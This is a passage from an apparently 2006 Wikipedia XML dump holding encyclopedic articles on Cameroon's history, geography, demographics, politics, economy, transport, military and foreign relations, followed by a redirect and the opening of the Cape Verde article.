Although the [[Portugal|Portuguese]] arrived on Cameroon's coast in the [[1500s]], [[malaria]] prevented significant European settlement and conquest of the interior until the late [[1870s]], when large supplies of the malaria suppressant, [[quinine]], became available. The early European presence in Cameroon was primarily devoted to coastal trade and the acquisition of [[slavery|slaves]]. The northern part of Cameroon was an important part of the Muslim slave trade network. The slave trade was largely suppressed by the mid-[[19th century]]. Christian [[missionary|missions]] established a presence in the late 19th century and continue to play a role in Cameroonian life.

[[Image:German building at Ambam.jpg|thumb|right|250px|German-built building at Ambam, today used as a school]]

==Colonization==
Beginning on [[July 5]], [[1884]], all of present-day Cameroon and parts of several of its neighbors became the [[Germany|German]] colony of '''Kamerun''', with a capital first at [[Buea]] and later at [[Yaoundé]]. After [[World War I]], this colony was partitioned between the [[United Kingdom]] and [[France]] under a [[June 28]], [[1919]] [[League of Nations]] mandate. France gained the larger geographical share, transferred outlying regions to neighboring French colonies, and ruled the rest from Yaoundé as '''Cameroun''' (French Cameroons). Britain's territory, a strip bordering [[Nigeria]] from the sea to [[Lake Chad]], with an equal population was ruled from [[Lagos]] as '''[[Cameroons]]''' (British Cameroons).

In [[1955]], the outlawed [[Union of the Peoples of Cameroon]] (UPC), based largely among the [[Bamileke]] and [[Bassa]] ethnic groups, began an armed struggle for independence in French Cameroon. This rebellion continued, with diminishing intensity, even after independence. Estimates of death from this conflict vary from tens of thousands to hundreds of thousands.

==Cameroon since independence==
French Cameroons achieved independence in [[1960]] as the '''Republic of Cameroon'''. The following year, on October 1, 1961, the largely Muslim northern two-thirds of [[British Cameroons]] voted to join Nigeria; the largely Christian southern third voted to join with the Republic of Cameroon to form the '''Federal Republic of Cameroon'''. The formerly French and British regions each maintained substantial [[Self-governance|autonomy]]. [[Ahmadou Ahidjo]], a French-educated Fulani, was chosen president of the federation in [[1961]]. Ahidjo, relying on a pervasive internal security apparatus, outlawed all political parties but his own in [[1966]]. He successfully suppressed the continuing UPC rebellion, capturing the last important rebel leader in [[1970]]. In [[1972]], a new constitution replaced the federation with a unitary state called the '''United Republic of Cameroon'''.

Ahidjo resigned as president in [[1982]] and was constitutionally succeeded by his [[Prime Minister]], [[Paul Biya]], a career official from the [[Beti-Pahuin]] ethnic group. Ahidjo later regretted his choice of successors, but his supporters failed to overthrow Biya in a [[Cameroonian Palace Guard Revolt|1984 coup]]. Biya won single-candidate elections in [[1983]] and [[1984]] when the country was again named the '''Republic of Cameroon'''.  Biya has remained in power, winning flawed multiparty elections in [[1992]], [[1997]], and [[2004]]. His [[Cameroon People's Democratic Movement]] (CPDM) party holds a sizeable majority in the legislature.

On [[August 15]], [[1984]], [[Lake Monoun]] exploded in a [[limnic eruption]] that released [[carbon dioxide]], [[Asphyxia|suffocating]] 37 people to death. On [[August 21]], [[1986]], another limnic eruption at [[Lake Nyos]] killed as many as 1,800 people and 3,500 livestock. The two disasters are the only recorded instances of limnic eruptions.

==External links==
*[http://unimaps.com/cameroon1914/index.html Map of German Cameroon (Kamerun) in 1914]

{{Africa in topic|History of}}


[[Category:History by country|Cameroon]]
[[Category:History of Africa]]
[[Category:History of Cameroon|History of Cameroon]]

[[fr:Histoire du Cameroun]]
[[ja:カメルーンの歴史]]
[[pt:História dos Camarões]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Cameroon</title>
    <id>5449</id>
    <revision>
      <id>40555981</id>
      <timestamp>2006-02-21T11:41:57Z</timestamp>
      <contributor>
        <username>Lupo</username>
        <id>34978</id>
      </contributor>
      <comment>better map</comment>
      <text xml:space="preserve">[[Image:Cameroon_Map.jpg|thumb|300px|right|Map Of Cameroon]]
'''Location:'''
Western [[Africa]], bordering the [[Bight of Biafra]], between [[Equatorial Guinea]] and [[Nigeria]]

'''Geographic coordinates:'''
{{coor d|6|N|12|E|}}

'''Map references:'''
Africa

'''Area:'''
&lt;br&gt;''total:''
475,440 km&amp;sup2;
&lt;br&gt;''land:''
469,440 km&amp;sup2;
&lt;br&gt;''water:''
6,000 km&amp;sup2;

'''Area - comparative:'''
slightly larger than [[California]]

'''Land boundaries:'''
&lt;br&gt;''total:''
4,591 km
&lt;br&gt;''border countries:''
[[Central African Republic]] 797 km, [[Chad]] 1,094 km, [[Republic of the Congo]] 523 km, Equatorial Guinea 189 km, [[Gabon]] 298 km, Nigeria 1,690 km

'''Coastline:'''
402 km

'''Maritime claims:'''
&lt;br&gt;''territorial sea:''
50 nm

'''Climate:'''
varies with terrain, from tropical along coast to semiarid and hot in north

[[Image:Rhumsiki Peak.jpg|thumb|300px|right|[[Rhumsiki]] Peak in Cameroon's [[Extreme North Province]].]]

'''Terrain:'''
diverse, with coastal [[plain]] in southwest, dissected [[plateau]] in center, [[mountain]]s in west, plains in north

'''Elevation extremes:'''
&lt;br&gt;''lowest point:''
[[Atlantic Ocean]] 0 m
&lt;br&gt;''highest point:''
[[Fako]](aka. Mt. Cameroon) 4,095 m

'''Natural resources:'''
[[petroleum]], [[bauxite]], [[iron ore]], [[timber]], [[hydropower]]

'''Land use:'''
&lt;br&gt;''arable land:''
13%
&lt;br&gt;''permanent crops:''
2%
&lt;br&gt;''permanent pastures:''
4%
&lt;br&gt;''forests and woodland:''
78%
&lt;br&gt;''other:''
3% (1993 est.)

'''Irrigated land:'''
210 km&amp;sup2; (1993 est.)

'''Natural hazards:'''
Recent [[limnic eruption]]s with release of [[carbon dioxide]]:
*from [[Lake Monoun]], [[August 15]], [[1984]], killing 37
*from [[Lake Nyos]], [[August 21]], [[1986]], killing as many as 1800 

'''Environment - current issues:'''
water-borne diseases are prevalent; [[deforestation]]; [[overgrazing]]; [[desertification]]; [[poaching]]; [[overfishing]]

'''Environment - international agreements:'''
&lt;br&gt;''party to:''
[[Biodiversity]], [[United Nations Framework Convention on Climate Change|Climate Change]], Desertification, [[Endangered Species]], [[Law of the Sea]], [[Ozone Layer Protection]], [[Tropical Timber 83]], [[Tropical Timber 94]]
&lt;br&gt;''signed, but not ratified:''
[[Nuclear Test Ban]]

'''Geography - note:'''
sometimes referred to as the hinge of Africa

== See also ==
* [[Cameroon]]

{{Africa in topic|Geography of}}

[[Category:Geography by country|Cameroon]]
[[Category:Geography of Cameroon| ]]

[[fr:Géographie du Cameroun]]
[[pl:Geografia Kamerunu]]
[[pt:Geografia dos Camarões]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Cameroon</title>
    <id>5450</id>
    <revision>
      <id>35370088</id>
      <timestamp>2006-01-16T06:41:06Z</timestamp>
      <contributor>
        <ip>24.51.144.223</ip>
      </contributor>
      <comment>/* Languages */</comment>
      <text xml:space="preserve">[[Image:Maka-Njem ethnic groups.png|right|thumb|400px|The [[Maka-Njem]] ethnic groups of Cameroon.]]
[[Image:Duala ethnic groups.png|right|thumb|400px|The [[Duala peoples|Duala]] ethnic groups of Cameroon.]]
The '''demographic profile of Cameroon''' is complex for a country of its population.  [[Cameroon]] is comprised of an estimated 250 distinct [[ethnic groups]], which may be formed into five large regional-cultural divisions: 
* '''western highlanders''' ('''[[Semi-Bantu]]''' or '''grassfielders'''), including the [[Bamileke]], [[Bamun people|Bamun]] (or ''Bamoun''), and many smaller [[Tikar]] groups in the [[Northwest Province, Cameroon|Northwest]] (est. 38% of total population); 
* '''coastal tropical forest peoples''', including the [[Bassa]], [[Duala peoples|Duala]] (or ''Douala''), and many smaller groups in the [[Southwest Province, Cameroon|Southwest]] (12%); 
* '''southern tropical forest peoples''', including the [[Beti-Pahuin]], Bulu (a subgroup of Beti-Pahuin), Fang (subgroup of Beti-Pahuin), [[Maka-Njem]], and [[Baka (nomadic Central African people)|Baka]] [[pygmy|pygmies]] (18%);
* '''predominantly [[Islam|Islamic]] peoples''' of the northern semi-arid regions (the [[Sahel]]) and central highlands, including the [[Fulani]] (or ''Peuhl'' in French) (14%); ''and'' 
* '''the &quot;[[Kirdi]]&quot;''', non-Islamic or recently Islamic peoples of the northern desert and central highlands (18%).
[[Image:Tikar family.jpg|thumb|right|300px|A Tikar family in the Northwest Province]]
An up-to-date demographic profile is unavailable from the country's government, which hasn't published census data since 1976.

==Demographic data==
The Cameroon government held two national censuses during the country's first 44 years as an independent country, in 1976 and again in 1987.  Results from the second head count were never published.  A third census, expected to take years to product results, began on [[November 11]], [[2005]], with a three-week interviewing phase.  It is one of a series of projects and reforms required by the [[International Monetary Fund]] as prerequisites for foreign [[debt relief]].

Nearly all of the following demographic statistics are from the [[CIA World Factbook]].

[[Image:Cameroon-demography.png|thumb|300px|right|Estimated number of inhabitants (in thousands), based on 2005 data from the   [[Food and Agriculture Organization]].]]
===Population===
:16,380,005
:''Note'': estimates for this country explicitly take into account the effects of excess mortality due to AIDS; this can result in lower life expectancy, higher infant mortality and death rates, lower population and growth rates, and changes in the distribution of population by age and sex than would otherwise be expected (July 2005 est.)

===Age structure===
:0-14 years: 41.7% (male 3,457,180/female 3,375,668)
:15-64 years: 55% (male 4,537,281/female 4,477,163)
:65 years and over: 3.3% (male 239,634/female 293,079) (2005 est.)

===Median age===
:Total: 18.6 years
:Male: 18.45 years
:Female: 18.76 years (2005 est.)

===Population growth rate===
:1.93% (2005 est.)

===Birth rate===
:34.67 births/1,000 population (2005 est.)

===Death rate===
:15.4 deaths/1,000 population (2005 est.)

===Net migration rate===
:0 migrant(s)/1,000 population (2005 est.)

===Sex ratio===
:At birth: 1.03 male(s)/female
:Under 15 years: 1.02 male(s)/female
:15-64 years: 1.01 male(s)/female
:65 years and over: 0.82 male(s)/female
:Total population: 1.01 male(s)/female (2005 est.)

===Infant mortality rate===
:Total: 68.26 deaths/1,000 live births
:Male: 72.14 deaths/1,000 live births
:Female: 64.27 deaths/1,000 live births (2005 est.)

===Life expectancy at birth===
:Total population: 47.84 years
:Male: 47.04 years
:Female: 48.67 years (2005 est.)

===Total fertility rate===
:4.47 children born/woman (2005 est.)

===HIV/AIDS===
:Adult prevalence rate: 6.9% (2003 est.)
:People living with HIV/AIDS: 560,000 (2003 est.)
:Deaths: 49,000 (2003 est.)

===Major infectious diseases===
:Degree of risk: very high
:Food or waterborne diseases: bacterial diarrhea, hepatitis A, and typhoid fever
:Vectorborne diseases: malaria and yellow fever are high risks in some locations
:Water contact disease: schistosomiasis
:Respiratory disease: meningococcal meningitis (2004)

===Nationality===
:Noun: Cameroonian(s)
:Adjective: Cameroonian

===Ethnic groups===
:Cameroon Highlanders 31%, Equatorial Bantu 19%, Kirdi 11%, Fulani 10%, Northwestern Bantu 8%, Eastern Nigritic 7%, other African 13%, non-African less than 1%

===Religions===
:Indigenous beliefs 40%, Christian 40%, Muslim 20%

===Languages===
There are 24 major African language groups in Cameroon; additionally, [[English language|English]] and [[French language|French]] are official languages. [[Cameroonian Pidgin English]] is also widely spoken.

Peoples concentrated in the Southwest and Northwest Provinces — around [[Buea]] and [[Bamenda]] — use standard [[English language|English]] and [[Cameroonian Pidgin English]], as well as their local languages. In the three northern provinces — [[Adamawa Province|Adamawa]], [[North Province, Cameroon|North]], and [[Extreme North Province, Cameroon|Extreme North]] — either [[French language|French]] or [[Fulfulde]] (the language of the Fulani) is widely spoken. Elsewhere, French is the principal second language, although pidgin and some local languages such as [[Ewondo language|Ewondo]], the dialect of a Beti clan from the [[Yaoundé]] area, have a wide currency.

Indigenous languages of Cameroon include:
*[[Basaa language|Basaa]]
*[[Bikya language|Bikya]]
*[[Bung language|Bung]]
*[[Kanuri language|Kanuri]]
*[[Ngumba language|Ngumba]]
*[[Yeni language|Yeni]]
*[[Bamum language|Bamum]]

===Literacy===
:Definition: age 15 and over can read and write
:Total population: 79%
:Male: 84.7%
:Female: 73.4% (2003 est.)

==References==
*{{CIA WFB 2005}}
*[http://www.voanews.com/english/2005-11-24-voa37.cfm Cameroon Undertakes Nationwide Census], a November 2005 article from [[Voice of America]]

{{Africa in topic|Demographics of}}

[[Category:Geography of Cameroon]]
[[Category:Cameroonian society]]
[[Category:Demographics by country|Cameroon]]

[[fr:Démographie du Cameroun]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Cameroon</title>
    <id>5451</id>
    <revision>
      <id>39374302</id>
      <timestamp>2006-02-12T19:19:06Z</timestamp>
      <contributor>
        <ip>83.121.2.141</ip>
      </contributor>
      <comment>disambiguation from [[FAO]] to [[Food and Agriculture Organization]] by the [[User:DabMachine|DabMachine]]</comment>
      <text xml:space="preserve">{{election cameroon}}
== Government ==

The [[1972]] [[constitution]] of the '''Republic of Cameroon''' as modified by [[1996]] reforms provides for a strong central government dominated by the executive. The [[Presidents of Cameroon|president]] is empowered to name and dismiss [[cabinet (government)|cabinet]] members, [[judge]]s, [[general]]s, provincial [[governor]]s, [[prefect]]s, [[sub-prefect]]s, and heads of Cameroon's [[parastatal]] (about 100 state-controlled) firms, obligate or disburse expenditures, approve or [[veto]] regulations, declare states of emergency, and appropriate and spend profits of parastatal firms. The president is not required to consult the National Assembly.

The judiciary is subordinate to the executive branch's [[Ministry of Justice of Cameroon|Ministry of Justice]]. The [[Supreme Court]] may review the constitutionality of a law only at the president's request.

The 180-member National Assembly meets in ordinary session three times a year (March/April, June/July, and November/December), and has seldom, until recently, made major changes in legislation proposed by the executive. Laws are adopted by majority vote of members present or, if the president demands a second reading, of a total membership.

Following government pledges to reform the strongly centralized 1972 constitution, the National Assembly adopted a number of amendments in December 1995 which were promulgated in January 1996. The amendments call for the establishment of a 100-member [[senate]] as part of a [[bicameral legislature]], the creation of regional councils, and the fixing of the presidential term to 7 years, renewable once. One-third of senators are to be appointed by the President, and the remaining two-thirds are to be chosen by indirect elections. As of March [[1998]], the government has not established the Senate or regional councils.

All local government officials are employees of the central government's Ministry of Territorial Administration, from which local governments also get most of their budgets.

While the president, the minister of justice, and the president's judicial advisers (the Supreme Court) top the judicial hierarchy, traditional rulers, courts, and councils also exercise functions of government. Traditional courts still play a major role in domestic, property, and [[probate law]]. [[Tribal law]]s and customs are honored in the formal court system when not in conflict with national law. Traditional rulers receive stipends from the national government.

The government adopted legislation in [[1990]] to authorize the formation of multiple [[political party|political parties]] and ease restrictions on forming civil associations and private [[newspaper]]s. Cameroon' s first multiparty legislative and presidential elections were held in [[1992]] followed by municipal elections in 1996 and another round of legislative and presidential elections in [[1997]]. Because the government refused to consider opposition demands for an independent election commission, the three major opposition parties boycotted the October [[1997]] presidential election, which Biya easily won. The leader of one of the opposition parties, [[Bello Bouba Maigari]] of the [[NUDP]], subsequently joined the government.

Cameroon has a number of independent newspapers. [[Censorship]] was abolished in 1996, but the government sometimes seizes or suspends newspapers and occasionally arrests [[journalist]]s. Although a 1990 law authorizes private [[radio]] and [[television]] stations, the government has not granted any licenses as of March 1998.

The Cameroonian Government's [[human rights]] record has been improving over the years but remains flawed. There continue to be reported abuses, including beatings of detainees, arbitrary arrests, and illegal searches. The judiciary is frequently corrupt, inefficient, and subject to political influence.

'''Principal Government Officials'''
*President &amp;mdash; [[Paul Biya]]&lt;br /&gt;
*President of the National Assembly &amp;mdash; [[Djibril Cavaye Yeguie]]
*Prime Minister &amp;mdash; [[Ephraim Inoni]]

*Ambassador to the United States &amp;mdash; [[Jerome Mendouga]]
*Ambassador to the United Nations &amp;mdash; [[Martin Belinga]]

Cameroon maintains an embassy in the United States at 2349 Massachusetts Avenue N.W., Washington, D.C. 20008 (tel.: 202-265-8790).

'''Country name:'''
*''conventional long form:''  Republic of Cameroon
*''conventional short form:'' Cameroon
*''former:'' French Cameroon

'''Data code:''' CM

'''Government type:'''
unitary republic; multiparty presidential regime (opposition parties legalized in 1990)
&lt;br /&gt;''note:''
preponderance of power remains with the president

'''Capital:''' [[Yaounde]]

'''Administrative divisions:'''
10 provinces; Adamaoua, Centre, Est, Extreme-Nord, Littoral, Nord, Nord-Ouest, Ouest, Sud, Sud-Ouest

'''Independence:'''
[[1 January]] [[1960]] (from UN trusteeship under French administration), [[1 October]] [[1961]] (for areas ruled by Britain under UN trusteeship)

'''National holiday:''' National Day, [[20 May]] (1972)

'''Constitution:''' [[20 May]] [[1972]] approved by referendum; [[2 June]] [[1972]] formally adopted

'''Legal system:'''
based on French civil law system, with common law influence; does not accept compulsory ICJ jurisdiction

'''Suffrage:''' 21 years of age; universal

'''[[Executive branch]]:'''
&lt;br /&gt;''chief of state:'' [[Presidents of Cameroon|President]] Paul BIYA (since [[6 November]] [[1982]])
&lt;br /&gt;''head of government:''
Prime Minister Ephraim Inoni (since December 8, [[2005]])
&lt;br /&gt;''cabinet:''
Cabinet appointed by the president
&lt;br /&gt;''elections:''
president elected by popular vote for a seven-year term; election last held [[11 October]] [[2004]] (next to be held NA October 2011); prime minister appointed by the president
&lt;br /&gt;''election results:''
President Paul BIYA reelected; percent of vote - Paul Biya 70.8%; Ni John Fro Ndi 17.4%; Adamou Ndam Njoya 4.4%; Garga Haman Adji 3.7%


'''[[Legislative branch]]:'''
unicameral National Assembly or Assemblee Nationale (180 seats; members are elected by direct popular vote to serve five-year terms; note - the president can either lengthen or shorten the term of the legislature)
&lt;br /&gt;''elections:''
last held [[30 June]] and [[15 September]] [[2002]] (next to be held NA)
&lt;br /&gt;''election results:''
percent of vote by party - NA; seats by party - RDCP 149, SDF 22, UDC 5, UPC 3, UNDP 1
&lt;br /&gt;''note:''
the constitution calls for an upper chamber for the legislature, to be called a Senate, but it has yet to be established

'''[[Judicial branch]]:'''
Supreme Court, judges are appointed by the president

==Political parties and leaders==
''Main article: [[List of political parties in Cameroon]]''

:Cameroonian Democratic Union or UDC [Adamou NDAM NJOYA]
:Cameroon Liberation and Development Movement or MLDC [Marcel YONDO]
:[[Democratic Rally of the Cameroon People]] or RDPC (the RDPC or its predecessor parties have ruled since independence) [Paul BIYA, president]
:Movement for the Defense of the Republic or MDR [Dakole DAISSALA]
:Movement for the Liberation of Cameroonian Youths or MLJC [leader NA]
:National Union for Democracy and Progress or UNDP [Maigari BELLO BOUBA, chairman]:
:[[Social Democratic Front]] or SDF [John FRU NDI]
:Union of Cameroonian Populations or UPC-K [Augustin Frederick KODOG]

'''Political pressure groups and leaders:'''
:Alliance for Change or FAC [leader NA]
:Cameroon Anglophone Movement or CAM [Vishe FAI, secretary general]
:Southern Cameroon National Council [Henry FOSSUNG]

'''International organization participation:''' [[ACCT]], [[ACP (Lomé Convention)|ACP]], [[AfDB]], [[BDEAC]], [[Commonwealth|C]], [[CEEAC]], [[United Nations Economic Commission for Africa|ECA]], [[Food and Agriculture Organization|FAO]], [[FZ]], [[G-19]], [[G-77]], [[IAEA]], [[IBRD]], [[ICAO]], [[International Criminal Court|ICC]], [[ICFTU]], [[International Red Cross and Red Crescent Movement|ICRM]], [[International Development Association|IDA]], [[IDB]], [[IFAD]], [[IFC]], [[IFRCS]], [[International Labour Organization|ILO]], [[IMF]], [[International Maritime Organization|IMO]], [[Inmarsat]], [[Intelsat]], [[Interpol]], [[International Olympic Committee|IOC]], [[International Telecommunication Union|ITU]], [[NAM]], [[OAU]], [[Organization of the Islamic Conference|OIC]], [[OPCW]], [[Permanent Court of Arbitration|PCA]], [[UDEAC]], [[UN]], [[UNCTAD]], [[UNESCO]], [[UNIDO]], [[UNITAR]], [[UPU]], [[WCL]], [[World Customs Organization|WCO]], [[WFTU]], [[World Health Organization|WHO]], [[WIPO]], [[WMO]], [[WToO]], [[WTrO]]

'''Flag description:''' the [[Flag of Cameroon]] features three equal vertical bands of green (hoist side), red, and yellow with a yellow five-pointed star centered in the red band; uses the popular pan-African colors of [[Ethiopia]].

{{Africa in topic|Politics of}}
[[Category:Politics of Cameroon| ]]

[[fr:Politique du Cameroun]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Cameroon</title>
    <id>5452</id>
    <revision>
      <id>38981819</id>
      <timestamp>2006-02-09T22:50:14Z</timestamp>
      <contributor>
        <username>Briaboru</username>
        <id>284038</id>
      </contributor>
      <text xml:space="preserve">{{CIA}}{{Economy of Cameroon table}}
For a quarter-century following independence, '''Cameroon''' was one of the most prosperous countries in [[Africa]]. The drop in commodity prices for its principal [[export]]s &amp;mdash;[[petroleum]], [[cocoa]], [[coffee]], and [[cotton]] &amp;mdash; in the mid-[[1980s]], combined with an overvalued [[currency]] and economic mismanagement, led to a decade-long [[recession]]. Real per capita [[Gross domestic product | GDP]] fell by more than 60% from [[1986]] to [[1994]].  The current account and fiscal [[deficit]]s widened, and foreign debt grew.  Yet because of its oil resources and favorable agricultural conditions, Cameroon still has one of the best-endowed primary commodity economies in [[sub-Saharan Africa]]. 

The government embarked upon a series of economic reform programs supported by the [[World Bank]] and [[IMF]] beginning in the late 1980s. Many of these measures have been painful; the government slashed [[civil service]] salaries by 65% in [[1993]]. The [[CFA franc]] &amp;mdash; the common currency of Cameroon and 13 other African states &amp;mdash; was devalued by 50% in January [[1994]]. The government failed to meet the conditions of the first four IMF programs.

Recent signs, however, are encouraging. As of March [[1998]], Cameroon's fifth IMF program &amp;mdash; a 3-year enhanced structural adjustment program approved in August [[1997]] &amp;mdash; is on track.  Cameroon has rescheduled its [[Paris Club]] debt at favorable terms.  GDP has grown by about 5% a year beginning in [[1995]]. There is cautious optimism that Cameroon is emerging from its long period of economic hardship.

The [[Enhanced Structural Adjustment Facility]] (ESAF) signed recently by the IMF and Government of Cameroon calls for greater macroeconomic planning and financial accountability; [[privatization]] of most of Cameroon's nearly 100 remaining non-financial parastatal enterprises; elimination of state marketing board [[monopoly|monopolies]] on the export of cocoa, certain coffees, and cotton; privatization and price competition in the [[banking]] sector; implementation of the [[1992]] [[labor code]]; a vastly improved judicial system; and political liberalization to boost investment.

[[France]] is Cameroon's main trading partner and source of private investment and [[foreign aid]]. Cameroon has an investment guaranty agreement and a bilateral accord with the [[United States]]. USA investment in Cameroon is about $1 million, most of it in the oil sector.  Inflation has been brought back under control.

==See also==
* [[Cameroon]]


{{WTO}}
[[Category:Economy of Cameroon| ]]
[[Category:WTO members|Cameroon]]
[[Category:African Union member economies|Cameroon]]
[[fr:Économie du Cameroun]]
[[Category:Economies by country|Cameroon]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Cameroon</title>
    <id>5453</id>
    <revision>
      <id>29727321</id>
      <timestamp>2005-11-30T20:42:25Z</timestamp>
      <contributor>
        <username>Tedernst</username>
        <id>3700</id>
      </contributor>
      <comment>disambiguation link repair [[broadcast]] ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
60,000 (1995)

'''Telephones - mobile cellular:'''
2,800 (1995)

'''Telephone system:'''
available only to business and government
&lt;br&gt;''domestic:''
[[cable]], [[microwave]] radio relay, and tropospheric scatter
&lt;br&gt;''international:''
[[satellite]] earth stations - 2 [[Intelsat]] ([[Atlantic Ocean]])

'''[[Radio]] [[Broadcasting|broadcast]] stations:'''
AM 11, FM 8, shortwave 3 (1998)

'''Radios:'''
2.27 million (1997)

'''[[Television]] broadcast stations:'''
1 (1998)

'''Televisions:'''
450,000 (1997)

'''[[Internet Service Provider]]s (ISPs):'''
http://www.creolink.com/

'''[[Country code]]:''' CM

==See also==
*[[Cameroon]]
 
[[Category:Communications in Cameroon| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Cameroon</title>
    <id>5454</id>
    <revision>
      <id>35665654</id>
      <timestamp>2006-01-18T11:54:21Z</timestamp>
      <contributor>
        <username>Morwen</username>
        <id>17287</id>
      </contributor>
      <comment>{{Africa in topic|Transport in}}</comment>
      <text xml:space="preserve">{{CIA}}

== [[Railways]] ==
&lt;br /&gt;''total:''
1,104 km
&lt;br /&gt;''narrow gauge:''
1,104 km 1.000-m gauge (1995 est.)

=== Railway links with adjacent countries ===

* [[Transportation in Nigeria|Nigeria]] - no - [[break-of-gauge]] 1000mm/1067mm
* [[Transportation in Chad|Chad]] - no - no railways
* [[Transportation in Gabon|Gabon]] - no - [[break-of-gauge]] 1000mm/1435mm
* [[Transportation in the Central African Republic|Central African Republic]] - no - no railways
* [[Transportation in the Republic of the Congo|Republic of the Congo]] - no - [[break-of-gauge]] 1000mm/1067mm
* [[Transportation in Equatorial Guinea|Equatorial Guinea]] - no - no railways

== [[Highway]]s ==
&lt;br /&gt;''total:''
34,300 km
&lt;br /&gt;''paved:''
4,288 km
&lt;br /&gt;''unpaved:''
30,012 km (1995 est.)

== Waterways ==
2,090 km; of decreasing importance

== [[Seaport]]s and [[harbor]]s ==
[[Bonaberi]], [[Douala]], [[Garoua]], [[Kribi]], [[Tiko]]

== [[Airport]]s ==
50 (1999 est.)

=== Airports - with paved runways ===
&lt;br /&gt;''total:''
11
&lt;br /&gt;''over 3,047 m:''
2
&lt;br /&gt;''2,438 to 3,047 m:''
4
&lt;br /&gt;''1,524 to 2,437 m:''
3
&lt;br /&gt;''914 to 1,523 m:''
1
&lt;br /&gt;''under 914 m:''
1 (1999 est.)

=== Airports - with unpaved runways ===
&lt;br /&gt;''total:''
39
&lt;br /&gt;''1,524 to 2,437 m:''
8
&lt;br /&gt;''914 to 1,523 m:''
20
&lt;br /&gt;''under 914 m:''
11 (1999 est.)

== See also ==

* [[Cameroon]]


{{CIAfb}}

{{Africa in topic|Transport in}}

[[Category:Transport in Cameroon| ]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Cameroon</title>
    <id>5455</id>
    <revision>
      <id>38334398</id>
      <timestamp>2006-02-05T17:57:00Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Adding: fr</comment>
      <text xml:space="preserve">The Cameroonian [[military]] generally has been an apolitical force dominated by [[civilian control of the military|civilian control]]. Traditional dependence on the [[France|French]] defense capability, although reduced, continues to be the case as French military advisers remain closely involved in preparing the Cameroonian forces for deployment to the contested [[Bakassi Peninsula]]. The armed forces number 26,000-27,000 personnel in ground, air, and naval forces, the majority being the army and naval ground forces.

'''Military branches:'''
Army, Navy (includes Naval Infantry), Air Force, National Gendarmerie, Presidential Guard

'''Military manpower - military age:'''
18 years of age

'''Military manpower - availability:'''
&lt;br&gt;''males age 15-49:''
3,653,548 (2000 est.)

'''Military manpower - fit for military service:'''
&lt;br&gt;''males age 15-49:''
1,847,871 (2000 est.)

'''Military manpower - reaching military age annually:'''
&lt;br&gt;''males:''
169,661 (2000 est.)

'''Military expenditures - dollar figure:'''
$155 million (FY98/99)

'''Military expenditures - percent of GDP:'''
1.4% (FY98/99)

==See also==
*[[Cameroon]]
[[Category:Military of Cameroon| ]]
[[fr:Forces militaires camerounaises]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Cameroon</title>
    <id>5456</id>
    <revision>
      <id>37154290</id>
      <timestamp>2006-01-29T01:59:15Z</timestamp>
      <contributor>
        <username>Wikiacc</username>
        <id>84893</id>
      </contributor>
      <minor />
      <comment>{{Africa in topic|Foreign relations of}}</comment>
      <text xml:space="preserve">{{Politics of Cameroon}}
[[Cameroon]]'s noncontentious, low-profile approach to foreign relations puts it squarely in the middle of other [[Africa]]n and developing country states on major issues. It supports the principles of [[noninterference]] in the affairs of third world countries and increased assistance to underdeveloped countries. Cameroon is an active participant in the [[United Nations]], where its voting record demonstrates its commitment to causes that include international [[peacekeeping]], the [[rule of law]], [[environmentalism|environmental protection]], and [[Third World]] economic development. In the UN and other [[human rights]] fora, Cameroon's non-confrontational approach has generally led it to avoid criticizing other countries.

Cameroon enjoys good relations with the [[United States]] and other developed countries. It has particularly close ties with [[France]], with whom it has numerous military, economic, and cultural agreements. The [[People's Republic of China]] has a number of health and infrastructure projects underway in Cameroon. Cameroon enjoys generally good relations with its African neighbors, except for [[Nigeria]], with whom it is engaged in a sporadic armed conflict in the oil-rich [[Bakassi Peninsula]]. Cameroon has repeatedly demonstrated its preference for resolving this conflict through peaceful legal means and has submitted its case to the [[International Court of Justice]]. It supports UN peacekeeping activities in [[Central Africa]].

'''Disputes - international:'''
delimitation of international boundaries in the vicinity of [[Lake Chad]], the lack of which led to border incidents in the past, is complete and awaits ratification by Cameroon, [[Chad]], [[Niger]], and [[Nigeria]]; dispute with Nigeria over land and maritime boundaries around the [[Bakasi Peninsula]] and Lake Chad is currently before the [[ICJ]], as is a dispute with [[Equatorial Guinea]] over the exclusive [[maritime economic zone]]

{{Africa in topic|Foreign relations of}}

[[Category:Government of Cameroon]]
[[Category:Politics of Cameroon]]
[[Category:Foreign relations by country|Cameroon]]</text>
    </revision>
  </page>
  <page>
    <title>Civilization/video game</title>
    <id>5457</id>
    <revision>
      <id>15903664</id>
      <timestamp>2003-09-07T21:28:56Z</timestamp>
      <contributor>
        <username>Dissident</username>
        <id>42935</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Civilization (computer game)]]</text>
    </revision>
  </page>
  <page>
    <title>Cape Verde</title>
    <id>5458</id>
    <revision>
      <id>42118925</id>
      <timestamp>2006-03-03T23:13:16Z</timestamp>
      <contributor>
        <username>Aether8m</username>
        <id>515920</id>
      </contributor>
      <text xml:space="preserve">The '''Republic of Cape Verde''' or '''Cape Verde''' ([[Portuguese language|Portuguese]]: ''Cabo Verde'', [[Pronunciation|pron.]] [[IPA]] /{{IPA|'ka.bu 'veɾ.d(ɨ)}}/) is a [[republic]] located on an [[archipelago]]  in the [[Macaronesia]] [[ecoregion]] of the North [[Atlantic Ocean]], off the western coast of [[Africa]]. The previously-uninhabited islands were discovered and [[colonized]] by the [[Portugal|Portuguese]] in the [[15th century]]; they subsequently became a trading centre for African [[slavery|slaves]]. Most Cape Verdeans descend from both groups.

&quot;Cape Verde&quot; is named for [[Cap-Vert]], now in [[Senegal]], the westernmost point of Africa.
{{Infobox_Country &lt;!-- If editing infobox, please update [[Template:Country infobox data Cape Verde]] also --&gt;
|native_name = '''República de Cabo Verde'''
|common_name = Cape Verde
|image_flag = Flag of Cape Verde.svg
|image_coat = Cape verde coa.png
|image_map = LocationCapeVerde.png
|national_motto = Unity, Work, Progress
